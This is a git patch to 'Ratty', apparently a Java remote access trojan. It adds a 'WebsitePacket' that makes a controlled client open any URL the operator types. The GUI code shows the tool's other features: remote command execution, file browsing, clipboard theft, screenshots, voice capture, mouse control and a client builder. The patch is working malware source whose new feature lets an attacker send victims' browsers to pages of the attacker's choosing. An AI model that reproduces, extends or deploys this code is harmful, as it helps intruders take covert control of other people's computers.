From 618269bb3959f3e580d3f44e44a8331065bab53f Mon Sep 17 00:00:00 2001 From: Sogomn Date: Tue, 9 Feb 2016 23:48:53 +0100 Subject: [PATCH] Major changes Added WebsitePacket class --- Ratty/res/menu_icons.png | Bin 756 -> 893 bytes .../sogomn/rat/packet/ExecuteFilePacket.java | 6 +- .../src/de/sogomn/rat/packet/PacketType.java | 3 +- .../de/sogomn/rat/packet/WebsitePacket.java | 65 ++++++++++++++++++ .../de/sogomn/rat/server/gui/RattyGui.java | 2 + .../rat/server/gui/RattyGuiController.java | 7 ++ 6 files changed, 80 insertions(+), 3 deletions(-) create mode 100644 Ratty/src/de/sogomn/rat/packet/WebsitePacket.java diff --git a/Ratty/res/menu_icons.png b/Ratty/res/menu_icons.png index 4eabfc5d1260f97d960500763d27d1a6c25c8336..144e0a48b079908965e07df3e3c5ca18f0adf7ae 100644 GIT binary patch delta 871 zcmV-t1DO2u1^ot)BYy)#Nkl-0Q8oill}VE*BS$mAOJ860B@-=OOSBT>3fxqKK#Bqv)%xzgD?PA zJ`9xrmgD>V{%F#nH&0%jnHj*B$43JI0BjOeD>2!_P{onb@wp&I1z`Zp1|Zrn^!w$5 zECT=l+O7p@5`W`043+lj&DDP`HH=LTX8{0!sg@$7!(TqTe>4d|8^!_v0JfB5wgW4d zfxQ6K2H`L{VE_!yiKjq#CBZcS?|wXVH4T7Q^4`5n1pq++xZfZF;PvN6O$`757*qHZ zr64M|U&9K}05BK;jYgZfN*hlCps%A^PXK!t|3)p#2Y z001bPh=27?!688ah`AKeEBOon0L+yW9-WlW-5LP^03ZlYRhR{Uprwh?i*u=(20*Ni zdr8x3|Iz^v1VAcyl?FYpU?{f&PTA?f?8?Q!?%V7GASi&+%{gk91QthH9WMdg*{Z;J z-#c5NRZ6D$dH@Ixp!I~v>UincTp-&0lbZo%N`GhebpQ|yfRvP|;qAwx)dJAA zqp?aBnn=6RV8^^z_CL<7((2zvprg0KRxf~a;p0D=PWPQ}d% zAQwb+<_iEp0Q8oi+NB2Td8f_$004kc5|q2>RthW^z-EFl00v7?>Lr-oj<*8X+(Zlj zgJ2{`lcLfkht`g7z8D99!2m`jWTX_;PPnW9$cO=8tOUv5AswfID1LcP)TBHBHdYm( x6*Q$@$e=lVHHBFKXbd2FdH80Y0{}qZ_7}|G-fuPlC-49O002ovPDHLkV1o9#cB}vZ delta 733 zcmV<30wVqW2J{7xBYy(BNkl^zKnrW}6xM=` zjWr?-iHY$Ahzy`Y08k5nbg8i}K}v$QUl*9@&F6d&sR4o)VE{(H4OId9 z_m|6M7ivORM;C*z26#H`0ssK)N>FHtao&a+5~(KM6(ZLn3_xuFrENoBXM0Wo0043C z1(`~W)HYO&hkvX2zoFa4YPYih08rJf2sPp7C%av!0H$p$007vvB%Ko&cpF#>AaoHf zrY8(Q=AO6?LaGUF0=RkG7Y!4DRP$bZOa*{K0K|WQ2H^7XAZh>rK%T*;QU;=2&nw#i z8UUFAI5;?Jp3)|h0HjS+>dia=0LW8fW08*78*U?AQqAXp4bPXT?#tzV031Sg$ z4Zt`?VkkkrFuoUJwxf^$03ZWkDnU{Jlpp}g0+4zi008O&2p!{)UW8r$Py_$~{4T^& zx8Nv20DqKuDIvs=%DX-q0RRA4gsU3N0-(^*#L|aznVJTmtP|&7A^>#& z=oT;EMbGzwsMN>Y1JD|P@54D=xSf^yJOEk;h clazz; diff --git a/Ratty/src/de/sogomn/rat/packet/WebsitePacket.java b/Ratty/src/de/sogomn/rat/packet/WebsitePacket.java new file mode 100644 index 0000000..414808c --- /dev/null +++ b/Ratty/src/de/sogomn/rat/packet/WebsitePacket.java @@ -0,0 +1,65 @@ +package de.sogomn.rat.packet; + +import java.awt.Desktop; +import java.awt.Desktop.Action; +import java.io.IOException; +import java.net.URI; +import java.net.URISyntaxException; + +import de.sogomn.rat.ActiveClient; + +public final class WebsitePacket implements IPacket { + + private String address; + + private static final String HTTP_PREFIX = "http://"; + + public WebsitePacket(final String address) { + final boolean hasPrefix = address.startsWith(HTTP_PREFIX); + + if (hasPrefix) { + this.address = address; + } else { + this.address = HTTP_PREFIX + address; + } + } + + public WebsitePacket() { + this(""); + } + + @Override + public void send(final ActiveClient client) { + client.writeUTF(address); + } + + @Override + public void receive(final ActiveClient client) { + address = client.readUTF(); + } + + @Override + public void execute(final ActiveClient client) { + final boolean desktopSupported = Desktop.isDesktopSupported(); + + if (desktopSupported) { + final Desktop desktop = Desktop.getDesktop(); + final boolean canBrowse = desktop.isSupported(Action.BROWSE); + + if (canBrowse) { + try { + final URI uri = new URI(address); + + desktop.browse(uri); + } catch (final IOException | URISyntaxException ex) { + ex.printStackTrace(); + } + } + } + } + + public String getAddress() { + return address; + } + +} diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java index 4531490..4d603df 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java @@ -53,6 +53,7 @@ public final class RattyGui { public static final String FILES = "Browse files"; public static final String COMMAND = "Execute command"; public static final String CLIPBOARD = "Get clipboard content"; + public static final String WEBSITE = "Open website"; public static final String FREE = "Free client"; public static final String BUILD = "Client builder"; @@ -64,6 +65,7 @@ public final class RattyGui { FILES, COMMAND, CLIPBOARD, + WEBSITE, FREE }; diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index 3335dd4..b9786e5 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -29,6 +29,7 @@ import de.sogomn.rat.packet.PopupPacket; import de.sogomn.rat.packet.ScreenshotPacket; import de.sogomn.rat.packet.UploadFilePacket; import de.sogomn.rat.packet.VoicePacket; +import de.sogomn.rat.packet.WebsitePacket; import de.sogomn.rat.server.ActiveServer; import de.sogomn.rat.server.IServerObserver; import de.sogomn.rat.util.FrameEncoder.IFrame; @@ -158,6 +159,12 @@ public final class RattyGuiController implements IServerObserver, IClientObserve packet = new MouseEventPacket(x, y, button, MouseEventPacket.RELEASE); } else if (command == RattyGui.VOICE && !serverClient.isStreamingVoice()) { packet = new VoicePacket(); + } else if (command == RattyGui.WEBSITE) { + final String input = JOptionPane.showInputDialog(null); + + if (input != null && !input.isEmpty()) { + packet = new WebsitePacket(input); + } } return packet;